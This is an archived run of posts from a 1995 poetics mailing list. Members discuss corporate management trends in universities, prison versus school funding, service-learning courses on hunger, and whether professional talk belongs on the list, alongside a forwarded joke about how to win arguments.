> *Jordan*

Yeah, that could be draining.

Ron spoke of finding a form. What happened to me is that I felt trapped in the notion of *the poem*, and wanting to break out of it started doing series-of-fragments for poetics reasons, turned out to fit into my life much better, but that's not why I got started doing it, and I expect if I won a lottery tomorrow and quit my job I'd still be thinking in terms of strings of stuff loosely attached rather than discrete page-or-two packets.

But I doubt if form can arise solely from personal circumstance, without some theoretical or poetical or aesthetic or whatever urgency. Or maybe we all just fool ourselves.

Meanwhile there are folks who write novels on the sly -- how do they do that?

↑ Index

91. Aldon L. Nielsen
Re: total quality mangled
Tue 5 Dec 1995

beware beware

the same trick the repubs. are trying to pull in congress has long been in progress in education -- much talk of decentralizing, moving power down to the colleges and departments, etc. -- never turns out really to decentralize power -- instead, usually is a move to send _much_ reduced funds to deans and departments with instructions that they are now to decide which programs and faculty to throw overboard -- there's a reason all the new university presidents and perhaps even your department chair are always talking about the need to be entrepreneurial -- they want to sell your downsized department to microsoft --

get this -- most elementary schools in california lost their librarians (and many have lost their libraries) long ago -- BUT, most of the new prisons have library staff --

We're thinking of renaming ourselves San Jose State Correctional Institute in hopes of getting on the penology gravy train -- maybe we can have all the faculty and students wear numbers & stripes??

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92. Tenney Nathanson
TQM
Tue 5 Dec 1995

> *Date: Mon, 4 Dec 1995 14:14:12 -0600*
> *From: Judy Roitman <[redacted]>*
> *Subject: Re: Poetry and the Academy*
>
> *TQM is taking over at a lot of places, not just Motorola-influenced IIT.*
>
> *When Donna Shalala was pres. or whatever of U. of Wisconsin she was a devout TQM devotee; it's sweeping public schools (under the guise of "outcomes based/continuous improvement") and will no doubt be coming to a higher educational estalishment near you if it hasn't already arrived.*
>
> *Like behaviorism, it is impossible to argue with -- "what's wrong with continuous improvement?" is one question you will be asked. Of course the problematic nature of the notion of "improvement" is just one many things that escapes the TQM devotees' attention, but (tautologically) they don't notice this, even when it's pointed out.*

There's more. At least here at Arizona, where the new president who came in a couple of years ago had 30 lbs of TQM buttons stapled to his chest, the rhetoric is wooly (sp?) enough to make a supposedly function-based system completely non-functional. As Joe notes in another post from yesterday, the students are of course called "customers" (which begs the whole certification question, of course); but in all the data-driven reports what's measured is "input/throughput/output" of guess what, students. I guess on some fairly zenish level there might be some sense in the notion of customers buying themselves as products, but I don't think The Tower as it's appropriately called has reached that level of awareness yet. Meanwhile the data is soft enough to qualify for instant Oldenburg enshrinement (correct that spelling for me, if necessary, geysers). Plus the criteria, each semester, for each new data-driven report switch maddeningly, and no advance warning is given as to what data the underpaid admin assistants are supposed to log into their databases. PLUS which, apparently, very few of the reams of paper that get called for actually get read (of course). It reminds me a lot of teaching elementary school in Oceanhill Brownsville in the late sixties and early seventies--the phenomenon of "lesson plans," to be prepared in truly mandarin format--let's see, 3 minutes of motivation, 2 minutes of introducing the topic, etc etc--such that plans filled out without due attention to said format would be returned by the assistant principal for re-submission. That is to say, we're being kept busy, and quite effectively.

Occasional late-night forays into deep cable space, ie MEU, have given me the impression that TQM or some variant thereof actually makes lots of sense, or can, in industry. That's also what my college friend who manages computer stuff for a big mylar (sp?) balloon factory in Brooklyn says. There's always a (relative) bottleneck in an operation so there's always something to fix. It's also true that at a big state university with serious research aspirations but an antsy legislature worried about the state's sons and daughters--and rightly so, since average time to degree for the BA is well over six years--a production model arguably has some utility. But here, at least, not too many utils are dropping into the box.

Tenney

(also lots of nice stories about going to efficiency meetings at which 300-plus faculty members are kept waiting for twenty minutes in a big auditorium bc, 1/2 way through the meeting, the folks from OIR (Office of Institutional Research=data moles) discover that 3 pages are missing from the efficiency handout they've distributed. and so on. but that's for another time.)

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93. Tenney Nathanson
oh yes definitely
Tue 5 Dec 1995

> *Date: Mon, 4 Dec 1995 21:54:33 -0700*
> *From: jeffrey timmons <[redacted]>*
> *Subject: Re: Sunday Morning Service Poems*
>
> *how about stevens' "Sunday Moring"?*
>
> *Jeffrey Timmons*

yep, I like it. all those shores w inarticulate pang & all (pardon the quoted mis-spelling)

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94. Joe Amato
Re: Quality
Tue 5 Dec 1995

---

bill, yeah, you really gotta work hard to yank outta the corporate mouths what they mean by "communication"... even in my tech. writing courses, students enter with a visualization that what they're gonna get is the $1500 version of the $200 business com. seminars being offered by so many independent firms these days (one student admitted this to me this past semester---somehow i managed to convince him that this wasn't necessarily a Good Thing)... whereas i'm less interested in such functional doings (to an extreme perhaps) and more interested in plumbing the corporate-educational philosophy underwriting a course title such as "communication for management"... and trying to understand how language practices may be more ethically conceived in such contexts (w/o reducing "ethics" itself to prepackaged, black & white, plug & chug formulae)... but of course this is a contested site, esp. when viewed over and against controversies in the composition community...

i guess it's worth pointing out around here, in light of recent posts, that poetry/poetics has at least something to do with teaching... that the way poetry is taught has at least something to do with educational curricula and pedagogical theory... that teaching in turn influences to a large extent the way many folks come to understand same... and that this suggests a basis for reception and identity, even wrt poets themselves... and lest anybody believe that this talk about writing-in-academe is all moot, i would suggest taking a long, hard look at the standards debates in composition studies, how writing assessment and such is being talked about, and what this means for educating children in the nuances of text...

one final thought, after reading judy's and tenney's posts: i used to think, having been sent both by miller brewing co. and bristol-myers co. through a good deal of (sometimes intense) corporate training, that there might be some use for a more 'business-oriented' approach to academic economic woes... but these days i'd urge, strongly, that any such information transfer be attempted only with some serious viral protection in place... the cultural backdrop is just too damned desperately conservative to import such thinking w/o a serious risk of infection... i use the technical metaphor to suggest that, as much as i'm in favor of using computers and the like in teaching, these sorts of optimization strategies represent in essence the nastier side of educational technology in the late 20th. century, how the "human" (incl. learning) stands to be "institutionalized" by specific forms of technological thinking and practice...

joe

↑ Index

95. Chris Stroffolino
Re: total quality mangled
Tue 5 Dec 1995

Hey, Aldon, are you suggesting that TQM is a scam. It seems to pull the wool of DEMOCRACY over the wolf of heirarchies and pyramids-- in government, business, academia and even the "poetry world"--

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96. Jordan Davis
An Ordinary Evening in New Haven
Tue 5 Dec 1995

Studenbts students students--

This is supposed to be about poetics. Cut the shop talk baby and get down to business.

Sincerely

____
Thanks for the clarification. Thanks also for the patronization.

Jordan

↑ Index

97. **Don Cheney**
Re: total quality mangled
Tue 5 Dec 1995

---------- Forwarded with Changes ----------
From: [redacted] at @UCSD
Date: 12/5/95 7:53AM
*To: [redacted] at @UCSD
Subject: Re: total quality mangled
---

look kids, i'm getting tired of hearing how much our prison systems do for inmates (in the media and now here). haven't you heard? chain gangs are being revived for laughs.

my brother is in a california state prison (chuckwalla valley, in blythe) and they have someone who is called a librarian but who knows nothing about books. and they have a library but as john told me, "YOU have more books than this library, NO JOKE!"--and i don't have a massive collection.

prisoners get to be bored all day. they have one tv for the entire place, the library's a joke, the food's a joke. recently the governor or someone from his office was visiting and all of the sudden they have decent food to eat and prison officials literally start taking bunks out of cells so that it doesn't appear to be overcrowded. i asked john what they did with the actual inmates and he said some get put into isolation, they just get rid of them.

and part of the local scenery (at least for my brother) includes seeing an inmate beaten to death by 5 guards (the inmate had jumped one of the guards).

prisons may be getting lots of money but the prisoners are not the ones reaping the benefits.

don
[redacted]

---

beware beware

the same trick the repubs. are trying to pull in congress has long been in progress in education -- much talk of decentralizing, moving power down to the colleges and departments, etc. -- never turns out really to decentralize power -- instead, usually is a move to send _much_ reduced funds to deans and departments with instructions that they are now to decide which programs and faculty to throw overboard -- there's a reason all the new university presidents and perhaps even your department chair are always talking about the need to

be entrepreneurial -- they want to sell your downsized department to microsoft --

get this -- most elementary schools in california lost their librarians (and many have lost their libraries) long ago -- BUT, most of the new prisons have library staff --

We're thinking of renaming ourselves San Jose State Correctional Institute in hopes of getting on the penology gravy train -- maybe we can have all the faculty and students wear numbers & stripes??

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98. Bill Luoma
Re: Sheila M., Ron S., Chas. A.
Tue 5 Dec 1995

> *I don't know. I've been compiling poems*
> *from notebook materials for a few*
> *years and I find it pretty draining.*
> *Jordan*

Jordan,

Hang on to those notebeooks and sell them when you're an old fart.

ChaChing

↑ Index

99. Dick Higgins
Re: MLA EVENTS
Tue 5 Dec 1995

> *dick h., specifically:*
>
> *i hold mself in part responsible for the profession/al thread, which i've tried to pursue with some amount of stated hesitancy... to suggest that it's "boohoo," dick, is just plain wrong in my view---i've been trying to get at the economics of teaching, which for many of "us," like it or no, is intertwined with our conception of ourselves as poets... there's simply got to be a place for broader cultural discussions of this sort, esp. when one considers the influence of various literary organizations on the MAKING of poetry (by which i mean publishing, marketing, distributing, etc.)...*
>
> *the thread is not for all tastes, no... but i read your resistance in fact less as disinterest than as yet one more attempt to decontextualize a discussion of poetry/poetics, to wrench it free from the institutions which give it shape and urgency...*

> *but that's just the way i see it...*
>
> *best,*
>
> *joe*

Of course you are right, Joe. Yesterday I was at a political meeting- our county government had its public budget hearing. Our local arts council happens to be a pretty good one, and the county honchos decided to punish it by reducing its annual grant by the amount which the arts organization had granted to our local art cinema, also a good one, whicxh had shown the film PRIEST. This was a clear-cut free speech issue. We have many academic institutions around- Vassar, Bard College, etc. In fact we (my friends) brought together several hundred people to protest-local artists, writers, yes and poets. Not one academic except a priest (who teaches) showed up to protest. Too busy being busy, I guess. But it is this kind of situations which shows how the academic career involvement has marginalized the poets and other artists (but especially the poets, I think) who attempt it. Of course there are exceptions.

Then when I logged on to find some interesting theoretical issues, all I could find was chatter about the MLA.You can imagine how I felt! How I read it is that the poets who will or who must attend the MLA convention are hungry to belong to a community of poets and poetry afficianados-and we all know there are such people. But the MLA does not exist for this purpose. Conclusion-the poetics bulletin board should be precisely what it was established to be, a POETICS discussion group. The people who need to chatter about the MLA should have their own discussion group. And as for poetry, there are increasing numbers of e-mags and sites with poetry, visual or otherwise. Each has its own function- and, I might add, its own legitimacy. But they are not the same thing.

By the way, I will be happy to swap site info on places where my own poetry is or where I have found poems I like. WE can then discuss those pieces, which means we will be focusing on stuff that is current and which presumably reflects our time and predicaments in a fairly raw way.

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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100. Dick Higgins
Re: Pro's & hobbyists
Tue 5 Dec 1995

> *Hey Dick Higgins DID YOU SEE THAT MOVIE "AMATEUR" (Hal Hartley?)*
> *And what's the difference between THE BOO HOO Brigade*
> *and Harold Bloom's School of Resentment?*
> *Or the MOVE (not the one that was bombed in BILLADELPHIA)'s song*
> *"FIRE BRIGADE" (1967)?*
> *And did you ever see the bus advertisement that says*
> *"We PUT THE PEEK BACK IN BOO"*
> *and what is the relationship to it and Siouxsie Sioux*
> *and/or the divine tautology truck--Gauranteed Overnite Delivery?*
> *Knock knock....*

You say "Knock Knoxk," and I am tempted to say "Who'
s there?" Well, I do say it, and we can keep this up. But I also say more...

No, I haven't seen the Hal Hartley movie AMATEUR--hope I can rent it locally. Can't afford FACETS.

Bloom is not necessary to me, though I have sometimes reflected on his idea that the meaning of a poem is a poem. I notice, I enjoy but I try not to hang onto anything which is not essential.

Siouxsxie Sioux--didn't she have something to do with the Banshees? I haven't hung onto that either.

When I growled about the Boohoo Brigade, I meant people who feel sorry for themselves, that they have so little time, etc. I meant that and that is what I meant. Much as I dislike Thomas Carlyle in many ways, Emerson's picture of him becomes more and more important from the diary entries and letters "Facts, Ralph---Faaaacts" (I can almost hear him speak) to the NATURAL HISTORY OF INTELLECT portrait and so on. Carlyle was born in the same year as John Keats, and somehow remained a true romantic though we seldom think of him that way. I left academia almost twenty years ago because it was getting in the way of my scholarly and artistic interests. For others' interests I suppose it is okay. But academia is not the only way to approach these things, and listening to the laments of what I called the Boohoo Brigade is not exactly thrilling. If you walk in a cold rain, you are going to get wet. An endless discussion of the matter is not likely to be edifying.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]

Fax- [redacted]
e-mail- [redacted]

↑ Index

101. **Marisa Januzzi**
self service...
Tue 5 Dec 1995

Hi everyone; hi Dick (may I call you that?) specifically.

By asking about service learning classes involving poetry and some sort of community service activity, I was precisely wondering about the ways such a class could cause writers to consider how, as Joe Amato helpfully put it (in a different context), language practices can be more ethically conceived... it seems to me that "who you are when you hand a hungry person a sandwich" is at least as compelling as "who you are" when you watch yr poem go from crayon to caslon... and that anyway the two questions can't be separately conceived... and that is the hunger in poetry

I'm going to teach a class called "Lit of Social Reflection: Hunger" (readings from sociology and anthropology as well as lit-- Kafka, Fisher, DiPrima ((DINNERS AND NIGHTMARES/REVOLUTIONARY LETTERS is perfect!!)), Dorothy Day...) Anyone have any suggestions of readings which might illuminate the experiences these students will have, of serving and eating with people at a soup kitchen? Ways to situate writing, and poetics, vis. food and hunger? I may not even be asking the right questions yet.

To Judy Roitman: thanks-- your suggestion reminded me, too, of Kenneth Koch's book on teaching poetry-writing in nursing homes... which could be a good place to start... somehow I've been given this task of coming up with not just one class, but a rubric for regular service-learning offerings through my English Dept... so Lit. of Social Reflection (theft of title from Robert Coles) is the course title, and each person who does it could work up a separate topic-- like aging. AIDS lit. also comes to mind-- wouldn't it be great to teach Killian and Bellamy and Powell and Gunn and Kushner in one class...

Thanks, everyone, for being open to this question of what "doing poetry" might encompass.

--Nobody's Baby!
Marisa

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102. Dick Higgins
Re: An Ordinary Evening in New Haven
Tue 5 Dec 1995

> *Studenbts students students--*
>
> *This is supposed to be about poetics. Cut the shop talk baby and get down to business.*
>
> *Sincerely*
>
> ____
> *Thanks for the clarification. Thanks also for the patronization.*
>
> *Jordan*

You're welcome. You may patronize me if you wish. That isn't really the issue, or is it?

However, as thou shalt find from other things I have said in this context, I believe it is unfair to reduce poetics to shop talk for teachers.

Sincerely

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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103. Robert Drake
Re: MLA EVENTS
Tue 5 Dec 1995

dick:

> *ces where my own poetryces where my own poetryBy the way, I will be happy to swap site info on places where my own poetry*
> *is or where I have found poems I like...*

yep, indeedy, please post those addresses... tho to point out, discussion of poems is not always (for better or worse) a discussion ov poetics...

lbd

↑ Index

104. **Kevin Killian**
Re: Sheila M., Ron S., Chas. A.
Tue 5 Dec 1995

Bill Luoma writes:

> *Hang on to those notebeooks and sell them when you're an old fart.*

Bill,

I'm surprised you'd make such an ageist statement.

You're no young chicken yourself.

Dodie

↑ Index

105. **Judy Roitman**
Re: self service...
Tue 5 Dec 1995

Since I didn't make my suggestion publicly, here it is -- it was that working with older folks might challenge notions of language, mind, self, life/death/sickness/health & the whole ball of wax.

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106. **ULMER SPRING**
Re: Sheila M., Ron S., Chas. A.
Tue 5 Dec 1995

---

i find poems in writing to people

↑ Index

107. **ULMER SPRING**
Re: total quality mangled
Tue 5 Dec 1995

---

to do with jail and fairness, everyone should read Brother Soledad by George Jackson...

↑ Index

108. **Maria Damon**
Re: total quality mangled
Tue 5 Dec 1995

---

aldon sez:

get this -- most elementary schools in california lost their librarians (and many have lost their libraries) long ago -- BUT, most of the new prisons have library staff --

We're thinking of renaming ourselves San Jose State Correctional Institute in hopes of getting on the penology gravy train -- maybe we can have all the faculty and students wear numbers & stripes?? *** see, i knew genet had something to do with poetics and pedagogy.--md

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109. jeffrey timmons
Re: MLA EVENTS
Tue 5 Dec 1995

On Tue, 5 Dec 1995, Dick Higgins wrote:

> *Somehow I wonder why there is so much shop and small talk on this network. Who has time for that? Can it be that the English Profs are not aware of the difference between talking about poetry and poetics? I see very little material on poetics on this network, but a great deal of professional boohooing. These laments about not having time to write poetry--anyone who vents such laments is quite incapable of writing worthwhile poetry.*

is this productive or helpful? maybe your time would be better spent not boohooing what goes on here?

Jeffrey Timmons

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110. Maria Damon
Re: self service...
Tue 5 Dec 1995

---

marisa, how 'bout that book, cant remember title, Travels with ? memoirs of a homeless guy who traveled w/ his little dog? he's spozed to be a pretty good writer, had been published in some gay porn-fiction mags before. came out a few years ago? also, there were lots of prison anthologies etc in the 1970s maybe yr univ library has some. the first NuYorican anthology (Morrow, 1970s pub date) has some poems about street life. The Women Outside, by somebody Golden (UCal press) is about homeless women, an ethnography. then there's always the great orwell, down and out in paris and london. and of course Genet, the thief's journal has some great passages about being light-headed from hunger in andalusia, walking and walking.

i think it's quite a delicate issue to do "social work" in classes because often social/ethical community work involves what they call "human subjects" and it's

not always so clear what the class's relationship to the community is/will be. i know of one guy who does engineering who teaches a class on part of which requires doing some community service --a disabled friend got a stand built by his students for her computer monitor so she could work lying down. this guy gets grants from outside the state college he works at, i think, not sure. in grad school i taught a comp class called the arts of addiction and i had speakers from various anonymous recovery programs come in and tell their stories, and we read rimbaud, kafka, shange, jim carroll, st augustine, anne sexton, etc. that's not the same thing as having students go out into the community to do service work, but it was a thrilling dose of "real life" for them. let me know how it goes --md

↑ Index

111. Steve Carll
Re: total quality mangled
Tue 5 Dec 1995

Don Cheney:

If I may interpret, I don't think aldon was trying to imply that prisoners would rather be in prison than anywhere else, or that prisons are nice cushy places. Rather, I think he was acknowledging what your post ended with, that "prisons may be getting lots of money but the prisoners are not the ones reaping the benefits", except that he was asserting the inverse of the notion, that, while prisoners are not the ones reaping the benefits, more and more money IS being poured into the prison system, roughly at the expense of the educational system. The stingy mood of the taxpayers we've been hearing so much about doesn't seem to apply to punishing people, only to wise and compassionate uses of money, like for education, art and health care.

Sorry to hear about your brother.

Steve

At 01:09 PM 12/5/95 -0800, you wrote:
>---------- Forwarded with Changes ----------
>From: [redacted] at @UCSD
>Date: 12/5/95 7:53AM
>*To: [redacted] at @UCSD
>Subject: Re: total quality mangled
>----------
>look kids, i'm getting tired of hearing how much our prison systems do for
>inmates (in the media and now here). haven't you heard? chain gangs are
>being revived for laughs.
>

>my brother is in a california state prison (chuckwalla valley, in blythe) and
>they have someone who is called a librarian but who knows nothing about
books.
>and they have a library but as john told me, "YOU have more books than this
>library, NO JOKE!"--and i don't have a massive collection.
>
>prisoners get to be bored all day. they have one tv for the entire place, the
>library's a joke, the food's a joke. recently the governor or someone from his
>office was visiting and all of the sudden they have decent food to eat and
>prison officials literally start taking bunks out of cells so that it doesn't
>appear to be overcrowded. i asked john what they did with the actual inmates
>and he said some get put into isolation, they just get rid of them.
>
>and part of the local scenery (at least for my brother) includes seeing an
>inmate beaten to death by 5 guards (the inmate had jumped one of the
guards).
>
>prisons may be getting lots of money but the prisoners are not the ones
reaping
>the benefits.
>
>don
>[redacted]
>
>---
>
>beware beware
>
>the same trick the repubs. are trying to pull in congress has long been
>in progress in education -- much talk of decentralizing, moving power
>down to the colleges and departments, etc. -- never turns out really to
>decentralize power -- instead, usually is a move to send _much_ reduced
>funds to deans and departments with instructions that they are now to
>decide which programs and faculty to throw overboard -- there's a reason
>all the new university presidents and perhaps even your department chair
>are always talking about the need to be entrepreneurial -- they want to
>sell your downsized department to microsoft --
>
>get this -- most elementary schools in california lost their librarians
>(and many have lost their libraries) long ago -- BUT, most of the new
>prisons have library staff --
>

>We're thinking of renaming ourselves San Jose State Correctional
>Institute in hopes of getting on the penology gravy train -- maybe we can
>have all the faculty and students wear numbers & stripes??
>
>

↑ Index

112. Bill Luoma
Re: Spring Chickens
Tue 5 Dec 1995

Dodie is correct. I am not of the spring--just turned 35. I apologize if I offended anyone with the ageist phrase "old fart."

Bill

↑ Index

113. Don Cheney
Re: total quality mangled
Tue 5 Dec 1995

Steve, No, i didn't think Aldon meant that prisoners were in someplace good and cushy. and i'm all for more money for schools. i think i was reacting more to the idea the media spreads of prisons as luxury bungalows for criminals. and i've found out that nothing is further from the truth. and so when i read here the assertion that prisons have more library resources than schools it rubs my funny bone the wrong way and i start ranting.

Don

Don Cheney:

If I may interpret, I don't think aldon was trying to imply that prisoners would rather be in prison than anywhere else, or that prisons are nice cushy places. Rather, I think he was acknowledging what your post ended with, that "prisons may be getting lots of money but the prisoners are not the ones reaping the benefits", except that he was asserting the inverse of the notion, that, while prisoners are not the ones reaping the benefits, more and more money IS being poured into the prison system, roughly at the expense of the educational system. The stingy mood of the taxpayers we've been hearing so much about doesn't seem to apply to punishing people, only to wise and compassionate uses of money, like for education, art and health care.

Sorry to hear about your brother.

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>they have someone who is called a librarian but who knows nothing about
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>and they have a library but as john told me, "YOU have more books than this
>library, NO JOKE!"--and i don't have a massive collection.
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>prisoners get to be bored all day. they have one tv for the entire place, the
>library's a joke, the food's a joke. recently the governor or someone from his
>office was visiting and all of the sudden they have decent food to eat and
>prison officials literally start taking bunks out of cells so that it doesn't
>appear to be overcrowded. i asked john what they did with the actual inmates
>and he said some get put into isolation, they just get rid of them.
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>inmate beaten to death by 5 guards (the inmate had jumped one of the
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>in progress in education -- much talk of decentralizing, moving power
>down to the colleges and departments, etc. -- never turns out really to
>decentralize power -- instead, usually is a move to send _much_ reduced
>funds to deans and departments with instructions that they are now to
>decide which programs and faculty to throw overboard -- there's a reason
>all the new university presidents and perhaps even your department chair
>are always talking about the need to be entrepreneurial -- they want to
>sell your downsized department to microsoft --
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>get this -- most elementary schools in california lost their librarians
>(and many have lost their libraries) long ago -- BUT, most of the new
>prisons have library staff --
>
>We're thinking of renaming ourselves San Jose State Correctional
>Institute in hopes of getting on the penology gravy train -- maybe we can
>have all the faculty and students wear numbers & stripes??
>
>

> *-- Saved internet headers (useful for debugging)*
> *Date: Tue, 5 Dec 1995 17:03:35 -0800*
> *From: Steve Carll <[redacted]>*
> *Subject: Re: total quality mangled*
> *To: Multiple recipients of list POETICS <[redacted]>*

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114. Steven Howard Shoemaker
Re: Poetry and the academy
Tue 5 Dec 1995

Tony Green writes:

"no, no, Joe Amato, say MORE not less abt this v intrsting biz of Motorola & Ideas. I've printed out and circulated via department staff common room this a.m. this seems to me where the real action is now, where the corporate money meets the academy..."

Yes, Joe, by all means. You're sending shivers up my spine but i want to hear more. Weird thing is, i'm more and more convinced these days that academy types (a category which may or may not continue to include me) need to learn to see themselves as workers. I had a long talk the other day with an AFL-CIO picketer--who was a supermarket employee--and it was friggin' amazing how much we had in common in terms of what the Repub "revolution" was going to do to us if we let it. So i guess what i'm wondering is: will the corporate world

"teach" us that we really are workers in time for us to learn to act in our own interests, or will that realization come, perhaps, exactly when it's too late. I think it was Joe who also talked in previous post about resistance to collective-bargaining among his colleagues. And i've just gotten thru hearing some the most godawful brainwashed ivory tower crap from some of the folks (grad students this time) here at uva, so that's partly where this is coming from...

steve shoemaker

↑ Index

115. Thomas Bell
Re: MLA EVENTS
Wed 6 Dec 1995

Dick Higgins wrote:

> Not one academic except a priest (who teaches) showed up to
protest. Too busy being busy, I guess. But it is this kind of situations
which shows how the academic career involvement has marginalized the
poets
and other artists (but especially the poets, I think) who attempt it. Of
course there are exceptions.

Then when I logged on to find some interesting theoretical issues, all I could find was chatter.....the poetics bulletin board should be precisely what it was established to be, a POETICS discussion group.

By the way, I will be happy to swap site info on places where my own
poetry
>

When I read your first post I applauded (as a fellow non- or anti- academic, but then wondered why you didn't talk about poetics rather than complaining.

Now I see you are serious, so why not check out the many renga threads and give some half-way serious comments? Ask [redacted], [redacted], [redacted], [redacted], [redacted], [redacted]. demon.co.uk, [redacted], [redacted], or [redacted] for samples

Tom Bell [redacted]

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116. Chris Stroffolino
microsoft buys catholic church (fwd)
Wed 6 Dec 1995

From: IN%"[redacted]" 5-DEC-1995 14:21:54.61
To: IN%"[redacted]" "ls0796"

CC:
Subj: Have you argued, lately? (fwd)

id <[redacted]> for [redacted]; Tue,
05 Dec 1995 14:21:06 -0500 (EST)
Date: Tue, 05 Dec 1995 14:21:05 -0500 (EST)
From: [redacted]
Subject: Have you argued, lately? (fwd)
To: ls0796 <[redacted]>

---------- Forwarded message ----------
Date: Tue, 05 Dec 1995 13:23:10 -0500 (EST)
From: [redacted]
To: km7836 <[redacted]>
Subject: Have you argued, lately? (fwd)

---------- Forwarded message ----------
Date: Mon, 04 Dec 1995 15:45:06 -0500 (EST)
From: HEILER INKA <[redacted]>
To: HBI -- Enrik Schott <[redacted]>,
HW Klemm <[redacted]>,
Matthias Menze <[redacted]>,
Michael Muszula <[redacted]>,
Sabine Millen <[redacted]>,
Sandra Poehl <[redacted]>,
Patrick Pfister <[redacted]>,
Tom Becker <[redacted]>,
Gustl Huber <[redacted]>,
Iliana Filby <[redacted]>,
Allison Hase <[redacted]>,
Annette Hagenau <[redacted]>,
Barbara H <[redacted]>,
Corinna R <[redacted]>,
Roland S <[redacted]>, [redacted]

Subject: Have you argued, lately? (fwd)

> *"HOW TO ARGUE EFFECTIVELY"*
>
> *I argue very well. Ask any of my remaining friends. I can win an argument on any topic, against any opponent. People know this and steer clear of me at parties. Often, as a sign of their great respect, they don't even invite me. You too can win arguments. Simply follow these rules:*
>
> **Drink liquor.*

Suppose you are at a party and some hotshot intellectual is expounding on the economy of Peru, a subject you know nothing about. If you're drinking some health-fanatic drink like grapefruit juice, you'll hang back, afraid to display your ignorance, while the hotshot enthralls your date. But if you drink several large martinis, you'll discover you have STRONG VIEWS about the Peruvian economy. You'll be a WEALTH of information. You'll argue forcefully, offering searing insights and possibly upsetting furniture. People will be impressed. Some may leave the room.

**Make things up.*

Suppose, in the Peruvian economy argument, you are trying to prove that Peruvians are underpaid, a position you base solely on the fact that YOU are underpaid, and you'll be damned if you're going to let a bunch of Peruvians be better off. DON'T say: "I think Peruvians are underpaid." Say instead: "The average Peruvian's salary in 1981 dollars adjusted for the revised tax base is $1,452.81 per annum, which is $836.07 before the mean gross poverty level."

NOTE: Always make up exact figures.

If an opponent asks you where you got your information, make THAT up too. Say: "This information comes from Dr. Hovel T. Moon's study for the Buford Commission published on May 9, 1982. Didn't you read it?" Say this in the same tone of voice you would use to say, "You left your soiled underwear in my bathroom."

**Use meaningless but weighty-sounding words and phrases.*

Memorize this list:

Let me put it this way
In terms of
Vis-a-vis
Per se
As it were
Qua
So to speak
Sine qua non
Non Sequitur

You should also memorize some Latin abbreviations such as "Q.E.D.", "e.g.", and "i.e." These are all short for "I speak Latin, and you don't."

Here's how to use these words and phrases. Suppose you want to say,

> *"Peruvians would like to order appetizers more often, but they don't have enough money."*
>
> *You never win arguments talking like that. But you WILL win if you say, "Let me put it this way. In terms of appetizers vis-a-vis Peruvians qua Peruvians, they would like to order them more often, so to speak, but they do not have enough money per se, as it were. Q.E.D."*
>
> *Only a fool would challenge that statement.*
>
> **Use snappy and irrelevant comebacks.*
>
> *You need an arsenal of all-purpose irrelevant phrases to fire back at your opponents when they make valid points. The best are:*
>
> *You're begging the question.*
> *You're being defensive.*
> *Don't compare apples to oranges.*
> *What are your parameters?*
>
> *This last one is especially valuable. Nobody (other than engineers and policy wonks) has the vaguest idea what "parameters" means.*
>
> *Here's how to use your comebacks:*
>
> *You say: As Abraham Lincoln said in 1873...*
> *Your opponent says: Lincoln died in 1865.*
> *You say: You're begging the question.*
>
> *You say: Liberians, like most Asians...*
> *Your opponent says: Liberia is in Africa.*
> *You say: You're being defensive.*
>
> **Compare your opponent to Adolf Hitler.*
>
> *This is your heavy artillery, for when your opponent is obviously right and you are spectacularly wrong. Bring Hitler up subtly. Say, "That sounds suspiciously like something Adolf Hitler might say," or "You certainly do remind me of Adolf Hitler."*
>
> *So that's it. You now know how to out-argue anybody. Do not try to pull any of this on people who generally carry weapons.*

****

Inka Heiler | Librarians are the secret masters of the [redacted] | universe. They control information. Home: 433 Central Ave Apt#3 | Don't

ever piss one off. Albany, N.Y. 12206 | - Spider Robinson -
****

↑ Index

117. **Chris Stroffolino**
Re: Pro's & hobbyists
Wed 6 Dec 1995

So, Dick Higgins----are they ever gonna reprint that old book of yours that looks like a BIBLE?-----if not, well BOO WHO YOU. chris

↑ Index

118. **Joshua N Schuster**
Re: service classes?
Wed 6 Dec 1995

Dick Higgins wrote:
>
> Isn't this the old "Daily Thermes" approach, which Baker used sixty years
> ago? It was still a-going when I was at Yale in the fifties and is still
> used, as you say, on the high schoool level in some places. Indeed it is
> good. But it is a pedagogical question.

A pedagogical question meaning exclusively not a poetical question? The connection is much too complex to be dismissed with isolatory labels. While more often it seems pedagogy resists poetics, I see no reason why generative dialogue cannot be either transgressive or radical and certainly can cite many contemp. examples (in classrooms and/as texts). Instead of raking a divide between the two I think it would be more productive to meld these genres.

> *How you teach is a different question from how you do or what you or anyone else's work EXISTS. How does a poem exist once it has left you? Is it the same work when it is typeset in Caslon or handwritten? How does it exist in the memory? Who are you when you have done it? Those are the questions which should be addressed, not the moonings of students who would rather be somewhere else (who can blame them) whom you are charged with teachi8ng your skills in spite of themselves.*

These are all interesting questions which I can't presume to answer thoroughly theoretically (tho would like to know those web sites of contemp. poems.) but I can insist on expanding the realm of poetics past a thin narrow path of verse commerce. As mentioned by Bill Luoma, some of what makes lit. crit. poetically versatile is its willingness to extend beyond Literature to institutions such as shopping malls, but why not politics, commuting, video games, utopia, numbers,

architecture, cartoons? Are you positing a right poetics vs. wrong poetics, rigorous vs. trivial theory? I can understand the hesitancy not to allow EVERYTHING to be grist for poetics, but no one word listserv could ever sufficiently entice or encapsulate the possibility for discussion, so I can't assume you've been "misled" by the list. Find much laugh in Carlyle's "Faaaacts" drawl but when does such become hegemonically anti-intellectual? When it becomes pedagogical? As for the book *Natural History of the Intellect* I haven't read it but thus it seems now I've merely been reading the "unnatural" history of intellect. Woah was i off the beaten poetics.

Nonetheless I do enjoy yr posts and was wonder if you could answer yr question "How does your work EXIST?" with respect to YOUR work?

bests,
joshua

↑ Index

119. Graham John Sharpe
New Websites @ Prose & Contexts (fwd)
Wed 6 Dec 1995

---

thot this would be of interest to some, especially those with concrete and visual poetry interests.

graham
.

> *From: Prose & Contexts <[redacted]>*
> *Subject: New Websites @ Prose & Contexts*
> *Content-Length: 1983*
>
> *Prose & Contexts is proud to announce some significant changes and additions to its website: http://www.io.org/~dalopes*
>
> *ALL NEW SITES:*
>
> *dbqp*
> *A small press run by Geof Huth in Schenectady NY joins the site with a plethora of publications of all shapes and sizes. This press specializes in innovative work of many kinds, especially visual poetry and odd objects. The site includes an online catalogue, descriptions of various print runs, and a history of the press. The site may be accessed directly at http://www.io.org/~dalopes/dbqp*
>
> *Runaway Spoon Press*
